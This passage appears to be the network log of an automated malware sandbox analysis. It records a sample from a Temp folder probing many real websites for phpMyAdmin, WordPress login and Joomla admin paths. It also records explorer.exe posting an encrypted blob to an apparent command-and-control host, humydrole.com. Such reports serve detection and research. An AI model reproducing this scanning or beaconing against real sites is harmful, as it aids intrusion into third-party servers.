77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 41 45 41 41 41 41 42 43 41 49 41 41 41 43 51 64 31 50 65 41 41 41 41 44 45 6c 45 51 56 51 49 31 32 50 34 2f 2f 38 2f 41 41 58 2b 41 76 37 63 7a 46 6e 6e 41 41 41 41 41 45 6c 46 54 6b 53 75 51 6d 43 43 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_U9L5TfFCaf+5kfFW6eZPhhDMBpy+ATxHfTKuBa1nNJ85e9WTh8fRoMygXoeXGD53Ms7QM9IJfVXG8U/STjElRQ==" lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link
Dec 20, 2023 03:13:22.553992987 CET	499	IN	Data Raw: 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 Data Ascii: rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNDZhZmNjZDktZjJmNC00OWVjLTliOTgtOGRmNzZiMTVlYTg4IiwicGFnZV90aW1lIjoxNzAzMDM4NDAyLCJwYWdlX3
Dec 20, 2023 03:13:22.557986021 CET	499	IN	Data Raw: 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 Data Ascii: rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNDZhZmNjZDktZjJmNC00OWVjLTliOTgtOGRmNzZiMTVlYTg4IiwicGFnZV90aW1lIjoxNzAzMDM4NDAyLCJwYWdlX3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	53749	187.134.52.10	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.395173073 CET	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pyyiihqpjvkl.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 324 Host: humydrole.com
Dec 20, 2023 03:13:22.395173073 CET	324	OUT	Data Raw: 3b 6e 22 65 f7 cd 6b 20 d6 de b4 07 70 09 0c b6 77 0d ba e2 63 06 92 16 0b 0c 0b 94 41 c7 b1 68 ed 29 c3 2a 07 69 55 6d e9 9f 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 02 6b 2c 90 f5 76 0b 75 45 54 b4 8d Data Ascii: ;n"ek pwcAh)iUm? 9Yt M@NA -[k,vuET2{lYLbUW%24}'YNtN/.\|+7Ri>26\<a[z0"mc>I&3H3:hzOwaYQK@e
Dec 20, 2023 03:13:23.202084064 CET	587	IN	HTTP/1.0 404 Not Found Date: Wed, 20 Dec 2023 02:13:22 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	53407	217.70.184.38	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.472176075 CET	176	OUT	GET /phpmyadmin/ HTTP/1.1 Host: plastikolor.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.707206011 CET	536	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Location: http://www.plastikolor.com/phpmyadmin/ Cache-Control: max-age=10800 Vary: Accept-Language Data Raw: 31 30 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 46 72 61 6d 65 73 65 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 66 72 61 6d 65 73 65 74 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 09 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 09 3c 70 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 70 65 72 6d 61 6e 65 6e 74 6c 79 20 2d 2d 20 73 65 65 20 55 52 49 20 6c 69 73 74 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 0a 3c 2f 68 74 6d 6c 3e 0a 0a 0a 0d 0a Data Ascii: 10c<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>Object moved permanently -- see URI list</p></body></html>
Dec 20, 2023 03:13:22.707406044 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	53553	185.112.125.71	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.479362965 CET	173	OUT	GET /phpmyadmin/ HTTP/1.1 Host: rehau.com.mk Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.740219116 CET	229	IN	HTTP/1.1 302 302 Date: Wed, 20 Dec 2023 02:13:22 GMT Server: Apache Location: https://www.rehau.com/mk-mk Content-Language: en-US Content-Length: 0 Strict-Transport-Security: max-age=15768000; includeSubDomains; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	53566	83.98.155.23	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.479425907 CET	177	OUT	GET /phpmyadmin/ HTTP/1.1 Host: a2b-internet.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.722587109 CET	447	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:22 GMT Server: Apache/2 Location: https://a2b-internet.com/phpmyadmin/ Content-Length: 244 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 32 62 2d 69 6e 74 65 72 6e 65 74 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://a2b-internet.com/phpmyadmin/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	53833	104.21.4.150	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.487916946 CET	176	OUT	GET /phpmyadmin/ HTTP/1.1 Host: micresearch.net Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:23.096009970 CET	918	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Cache-Control: private Set-Cookie: ARRAffinity=3adacca6c2f81875efead5591d2a8d02faa6e8843c1dd1a10e8da178ce234c0c;Path=/;HttpOnly;Domain=micresearch.net X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MO8Dczz4aT5OH5NBtMYZ1k1jkgQRXzJLz0qWGTMqodk%2B8dece0N1hC74XZm8k%2FUXxM%2FzBRWnVx48p9pCKVBTnadROeLY0NBpax122%2BgZIaYqZazV%2BvGUVpwpLLtrSHu286o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845d9fed8eb3cb-MIA Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 Data Raw: 36 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 14 c8 c1 0d 84 30 0c 04 c0 56 b6 00 74 d5 d0 c0 02 0b b1 2e b1 91 43 90 e8 1e 31 cf 99 8b 90 ea 31 72 15 9e 18 60 0a 35 e2 6f 7e 60 8f 44 61 c7 22 39 52 2d 6e 6d 13 0a 37 d8 d5 e1 6c c2 5a e8 c7 b7 91 b0 8e 4b ed 8c 64 5a 7d 30 9c 37 ad 72 a9 fa bd 00 00 00 ff ff 03 00 67 a8 2a 4b 67 00 00 00 0d 0a Data Ascii: 6c0Vt.C11r`5o~`Da"9R-nm7lZKdZ}07rg*Kg
Dec 20, 2023 03:13:23.098304987 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	53863	104.21.20.204	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.508136034 CET	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: majormega.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.646995068 CET	662	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:22 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Wed, 20 Dec 2023 03:13:22 GMT Location: https://majormega.com/phpmyadmin/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=24gqGB7SjEArZ3WnYyDSol%2F3Y3tbmrBLijX4fDpgUyekb5miqMG7vRZnHbo9WqnEZkd9Tek7qHo4ubMAJUkLwmRtUYePNZwq8Kcm6on%2FP9Zyq2AFC9PKmK1cJXKUxSq3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 83845da00aa16db6-MIA alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	53839	192.185.100.42	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.508209944 CET	175	OUT	GET /wp-login.php HTTP/1.1 Host: conalcorp.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.649096012 CET	226	IN	HTTP/1.1 409 Conflict Date: Wed, 20 Dec 2023 02:13:22 GMT Server: Apache Content-Length: 83 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	53830	205.178.187.24	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.512449026 CET	175	OUT	GET /phpmyadmin/ HTTP/1.1 Host: tiltdesign.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.651376963 CET	172	IN	HTTP/1.0 301 Moved Permanently Location: http://www.registrar-transfers.com/en_US/whois-suspension-netsol.jsp Server: BigIP Connection: Keep-Alive Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	53827	77.72.0.94	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.532438993 CET	179	OUT	GET /administrator/ HTTP/1.1 Host: lunarrastar.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.757133961 CET	967	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 707 date: Wed, 20 Dec 2023 02:13:22 GMT server: LiteSpeed location: https://lunarrastar.com/administrator/ vary: User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6e 65 6e 74 6c 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	53879	205.178.189.129	80

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.534313917 CET	173	OUT	GET /phpmyadmin/ HTTP/1.1 Host: engelgau.net Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.674858093 CET	337	IN	HTTP/1.1 301 Moved Permanently Server: Sun-ONE-Web-Server/6.1 Date: Wed, 20 Dec 2023 02:13:22 GMT Content-length: 122 Content-type: text/html Location: http://www.engelgau.net/phpmyadmin/ Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 48 31 3e 0a 41 6e 20 65 72 72 6f 72 20 68 61 73 20 6f 63 63 75 72 72 65 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <HTML><HEAD><TITLE>Moved Permanently</TITLE></HEAD><BODY><H1>Moved Permanently</H1>An error has occurred.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	53912	108.163.227.170	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.542258978 CET	179	OUT	GET /phpmyadmin/ HTTP/1.1 Host: activegraphics.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.700700045 CET	449	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:22 GMT Server: Apache Location: https://activegraphics.com/phpmyadmin/ Content-Length: 246 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 63 74 69 76 65 67 72 61 70 68 69 63 73 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://activegraphics.com/phpmyadmin/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	53847	69.49.101.57	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.542474031 CET	172	OUT	GET /wp-login.php HTTP/1.1 Host: jgarch.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.799607992 CET	1286	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding p3p: CP="CAO PSA CONi OTRo OUR ONL" Set-Cookie: tosession=1703038402_178108_144722011; path=/ x-robots-tag: noindex, nofollow Access-Control-Allow-Origin: https://img-to.nccdn.net Access-Control-Allow-Methods: GET Access-Control-Allow-Headers: accept, x-request, x-requested-with Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff Content-Security-Policy: default-src * data: blob: 'unsafe-eval' 'unsafe-inline'; object-src 'none'; Content-Encoding: gzip Data Raw: 33 38 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 54 6d 6f db 36 10 fe 9e 5f 71 d5 80 3a 01 22 51 b2 dc 38 71 2c 77 69 6c 6c 05 e2 2e 48 dd 06 43 10 18 34 79 96 e8 48 a4 46 d2 96 bd 5f 3f 52 76 da 66 58 30 0c d3 17 89 77 0f 9f 7b ee 4d c3 37 e3 df ae 67 bf df 4e e0 d7 d9 f4 06 6e bf 7c b8 f9 78 0d 41 48 c8 7d 7a 4d c8 78 36 de 3b 7a 51 9c c0 4c 53 69 84 15 4a d2 92 90 c9 a7 00 82 c2 da 7a 40 48 d3 34 51 93 46 4a e7 64 76 47 0a 5b 95 3d 52 2a 65 30 e2 96 07 23 18 7a 93 7f 21 e5 ee 65 85 2d 71 74 7c bf 74 6c 68 4e 20 84 5b 9a 23 48 65 61 a9 d6 92 0f c9 1e 01 c3 52 c8 27 b0 bb 1a b3 c0 e2 d6 12 66 4c 00 1a cb 2c 30 76 57 a2 29 10 6d 00 85 c6 65 16 10 b2 54 d2 9a 28 57 2a 2f 91 d6 c2 44 4c 55 fe 4a f7 fd 92 56 a2 dc 65 37 d4 aa 41 93 17 f6 e7 5e 1c 5f f6 e3 f8 6d f0 1f 83 f8 84 8d cb 58 54 79 68 55 24 19 e3 32 92 68 c9 e7 82 6a e4 fe 2e 31 3b 63 b1 9a 57 68 8c 4b cb a9 30 e6 fd d7 6c 99 2e 53 d6 4b 12 1f b1 42 4b 41 d2 ca 45 dc 08 6c 6a a5 5d 00 e6 d4 a3 b4 59 d0 08 6e 8b 8c e3 46 30 0c db c3 29 08 e9 0a 4f cb d0 30 5a 62 96 44 f1 37 1a af 28 c4 3f d6 62 93 05 b8 ad 85 46 f3 03 d7 3f e3 6e 35 cd 2b 1a c0 77 9c 54 21 a3 ac 40 0f 27 87 36 2d 14 df 01 2b a9 31 59 e0 ed 5c 6c 9e 8f fe 1e 15 12 75 b8 50 5b 38 64 1a fa 1a 86 a8 b5 d2 7f 83 3f 03 1c f8 15 4f db f0 60 74 04 2f 9f 97 73 f1 c2 3b 24 8e e6 b5 30 4e 78 5d 3a 81 3e 5a 3d ba 47 97 e8 ba e4 f2 ed 4f e9 c5 a5 23 13 92 83 2d 10 6a 4f bf 53 6b 68 50 23 b8 89 7d 12 32 77 b1 74 04 1f 2d 54 74 07 05 dd 20 2c 10 a5 1b 08 df 30 0e 4a 03 c7 12 2d f2 53 30 ca 85 41 6a 1c 7f 81 ec a9 e5 fc 72 77 e3 ba e5 59 35 50 ce 5d 3b 0c 2c a8 fb ce 9d 9e 68 48 ea d1 41 fa f0 4d 18 42 f4 42 73 18 be e6 dc fe e0 83 d6 79 ef 3a 